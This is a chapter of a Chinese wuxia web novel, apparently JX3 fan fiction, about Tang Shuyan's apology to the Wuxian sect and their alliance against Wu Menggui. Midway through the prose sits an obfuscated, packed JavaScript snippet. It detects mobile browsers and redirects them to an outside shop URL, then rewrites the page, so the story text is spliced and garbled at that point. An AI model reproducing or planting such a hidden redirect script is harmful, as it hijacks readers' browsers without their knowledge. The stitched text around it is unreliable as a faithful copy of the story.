“书雁……”柳静海紧紧握着她的手,想要阻止恋人自揭伤疤,“若要追根究底,少时痴情的源头在我,这报应也理当落在我头上。” 唐书雁却摇摇头,止住了他的话。 从她在第四次扬刀大会遇见静海,已有十七年;从她为了父亲一句虚无的承诺易名潜入五毒,已有八年;从她被恼羞成怒的乌蒙贵炼制成塔纳,已有三年。 经历诸多坎坷之后,她终于看清了父亲的真面目,也时常忍不住怀疑,父亲口中所谓等自己回家,等的究竟是她这个女儿,还是五毒的制毒炼蛊秘方?即便她完成任务安全退回唐门,父亲真的会同意她嫁给静海而不是更受他青睐的大庄主吗? 就像小婉一样,在失去了她这个大女儿之后,父亲竟然还枉顾妹妹的心意,逼她嫁给柳惊涛,在他眼中,她们这些女儿究竟算什么呢? 可是,她也清楚,犯下过错的不止父亲一人。 八年前,她几乎将父亲的允诺视为救命稻草,即便知晓此行有违道义,却还是做了。 唐书雁合了合眼,望向对面的曲云:“唐书雁落得今日地步可谓自作自受,可是除了我,塔纳其他人都是无辜的受害者。只要能有一丝一毫的希望救下他们,事成之后无论仙教想要如何处置我,我都接受。” “首领!”孙维疆急道。 慧法目含悲悯,念了句佛号:“阿弥陀佛。” “唐姐姐,其实……”曲云刚刚开口,又被唐书雁打断。 “曲教主,少年离家前,曾祖母曾教诲我,‘江湖儿女肆意快哉,即便有错,也莫怕他人指摘,只要即时回头,何妨没有补救之机’。心怀不轨分裂五仙教是为一过,是非不分对五仙教中人恶语相向甚至大动干戈此为二过……”* 唐书雁对着对面五仙教中人深深一礼:“今日在此,不求各位谅解,但须表明歉意。” 孙维疆与慧法虽心中不忍,却也随着行了礼。 见他们如此,曲云也正色道:“唐姐姐,我虽是五仙教教主,却也没有代所有教众原谅塔纳的资格,可既然唐姐姐如此坦诚,我便也说几句肺腑之言。塔纳如今遭遇追根究底,也是因为我五仙教存有炼尸禁术,仙教弟子亦深感愧疚,如此说来,不知仇恨可否抵消几分?” “曲教主与教中弟子深明大义,这桩过错本不该算在你们头上,皆是乌蒙贵之祸。书雁在此也请教主与长老放心,塔纳日后只会与为祸一方的天一教为敌,与乌蒙贵不死不休。” “实不相瞒,乌蒙贵叛教的确令我五仙教元气大伤,随他而去的弟子虽只在少数,可乌蒙贵叛逃时带走了教中许多威力强大的毒蛊炼尸禁术,且仍然觊觎教中现存秘藏……” 曲云对唐书雁与两位塔纳将军还了一礼:“我身为教主却因功法出错实力不济,亦常常忧心五仙教独木难支。塔纳与我五仙均深受天一所害,往事已矣不可追,既然如今塔纳愿与五仙化干戈为玉帛,那何妨再进一步?唇齿相依,共抗乌蒙贵,早日还西南一个太平。” “只要仙教弟子愿意,”唐书雁扶住她,“从今往后,塔纳与五仙同仇敌忾,誓灭仇敌。” 曲云微微一笑:“既然如此,便请三庄主与这位唐门兄弟作个见证。初次合作,便从探查雷域大泽开始吧。” 唐书雁也面露喜色,而后看向连星:“实不相瞒,此次其实还有一桩合作……连星。” 连星原本正听得眼眶微热,热血沸腾,突然被点名,忙对曲云和两位长老行了一礼,正色道:“在下唐连星,此行乃是代表唐门新任门主唐无影,先为老门主过去谋划向曲教主道歉,也请教主知晓,大小姐先前卧底之举皆为老门主威逼……” 大小姐也很惨,要怪就怪唐傲天那个老东西吧。 其他人:……等一下,这是可以直接说的吗? 唐书雁的嘴张了又合,却终究没有开口阻止连星坦诚到把唐傲天卖了个彻底的行为。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517369|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便如曾祖母所说吧,既是父亲的罪过,虽然他本人暂时无法认错,但总归有见光的一天。 不过无影还没有正式继任门主吧,虽说父亲那个样子,曾祖母绝不会让他继续坐在门主之位上,看连星这孩子的态度,父亲在门内大概也不怎么讨喜,他那个人一向如此……话说回来,连星这孩子对无影倒的确忠心。 连星还不知道唐书雁已经将她视为唐无影心腹死忠,虽然这似乎也算事实,她顿了顿,又道:“此外便是代门主向五仙教表露修好之意。如今西南有乌蒙贵为非作歹,我唐门弟子亦有人被天一教所害,更不必说手无刀兵的西南百姓……这次门中派我领一队精英前来,一来是为护卫大小姐,二来也是为抗击天一教贡献绵薄之力。” 等她说完,曲云愣了一会儿,先看向唐书雁,似乎是在询问消息是否可靠。 唐书雁微微颔首,平静地说:“我父亲前些时日受了重伤,至今昏迷不醒。幸好无影稳重可靠,才智过人,由他带领唐门,教主可以放心……无影与我父亲不同。” 曲云便看向连星,笑道:“少侠这般年纪便被门主付以重任,必然是天纵英才了,此行有唐门相助,定会更加顺利,曲云先在此谢过。待此间事了,便请少侠回禀唐无影门主,欢迎他来五仙教做客。” 之后,双方立下盟约,也定好了出发往雷域大泽的时间,由柳静海作为见证——虽然霸刀也有心相助,可毕竟远在河朔,远水难解近渴,派几名弟子前来已是极限。 尽管此次初探雷域大泽柳静海坚持带精英弟子随行,但是唐书雁更希望他早日返回霸刀。 她已知晓静海身上背负着怎样的责任,霸刀山庄乃至中原武林亦不太平,她又怎么可以将他留在苗疆一隅呢?而她也一样,她是塔纳首领,唐门的大小姐,也须对塔纳与唐门的姊妹兄弟负起责任。 此去经年,他们都已不再是可以随心任性的少年,幸而心中那份情意始终未变。 和谈顺利结束,众人走出屋子时皆神色轻快,出来后却只看见了五圣使中的三个。 见只有容夏和纳罗不在,曲云大约明白了其中缘由。 容夏因身体缘故不便也不爱待在人群中,五圣使中又数纳罗与她年纪最为相仿,二人关系也更加亲近,因此纳罗会时常陪着容夏。 平时她经常顾及这一点,不会安排容夏参与这种活动,可此次与塔纳和谈,还有霸刀唐门代表在场,对五仙教意义重大,是关乎仙教未来发展的重要一步。 曲云自知凭借武学实力恐怕难以服众,可是她也有一个旁人无法替代的优势,那便是与中原武林各派的联系。作为一个苗汉混血的教主,她希望可以改变中原人对五仙教的看法,希望仙教弟子如果有朝一日想要走出苗疆,可以不必受中原人的敌视与误解。 她最初知晓自己身世时,其实并不愿意回到教中继任教主。 襁褓之中便被母亲送走,从小以孤儿身份长大,幸好有师傅与秀坊诸位姐妹,后来还有……叶晖。她所熟悉所爱的一切都在中原,怎么会轻易舍得离开? 当初艾黎长老将她的身世告诉叶晖……她心里或许也有过怨恨吧。那时她也曾想过,如果没有仙教中人寻来,她或许已经和叶晖永结同心……可如果她的身世无法隐瞒一辈子,当初便因正邪之分对她避而不见的叶晖又会如何? 于是,那种恨意渐渐淡下去,她回了苗疆,后来也慢慢懂得艾黎长老为何一定要将她寻回。 母亲忽然失踪,教中无比混乱,五圣使彼此毫不相让……先任灵蛇使玛索应是其中最出色的那个,继位教主几乎理所当然。可玛索性情太过柔善又孝顺父亲,她父亲乌蒙贵野心勃勃,擅自动用教中禁术,且对汉人极其仇恨。 若由玛索接任教主,只怕五仙教实际上会被乌蒙贵掌控,将来很可能变成另一个天一教。 且乌蒙贵对汉人的恨意绝不会只藏在心中,倘使他为了复仇执意带五仙教与中原武林乃至朝廷为敌……大唐何等庞然大物,介时五仙教又会是怎样的命运呢? 曲云渐渐明白了自己肩上的使命,也慢慢接受了这样的命运,只可惜阿亮……不过从今往后,他们再不会分开了。 她想要渐渐化解苗汉恩怨,却也深知此事只能徐徐图之,但或许祸福相依总是真理,乌蒙贵的叛逃、天一教的强势又何尝不是为仙教的转变提供了一个机会? 所以,听吴迪上报说唐书雁随行还有霸刀与唐门弟子时,她心中便有了决断。 曲云对阿幼朵笑了笑:“去告诉她们两个,和谈已经顺利结束,我们该回去了。” 一行人在五仙潭停留了片刻,既是等容夏与纳罗,亦是商议如何改善塔纳居处环境,修建抵御天一教的防御工事,同时也向塔纳众人展现和谈结果。 连星心里却始终有些不放心那两位日后可能会叛逃的圣使,干脆寻了缘由离开片刻,再次开启了驭兽——这次换了只别的鸟儿,是冷龙峰掉落的鸷。 在高空盘旋片刻,她很快就看见了阿幼朵和另外两名圣使的身影——容夏和纳罗似乎并未走出很远,她是不是有点草木皆兵了? 原本也还未到容夏与纳罗叛逃的节点,或许不该提前预设这样的发展。 可是本来发生在十多年后的雷域大泽探查剧情都提前了这么久,塔纳与五毒的和解也早了数年,若是要去雷域大泽,五仙教与香巫教难免正面交锋…… 穿越者不再完全占据先机,一切皆有可能,她还是要更谨慎一些。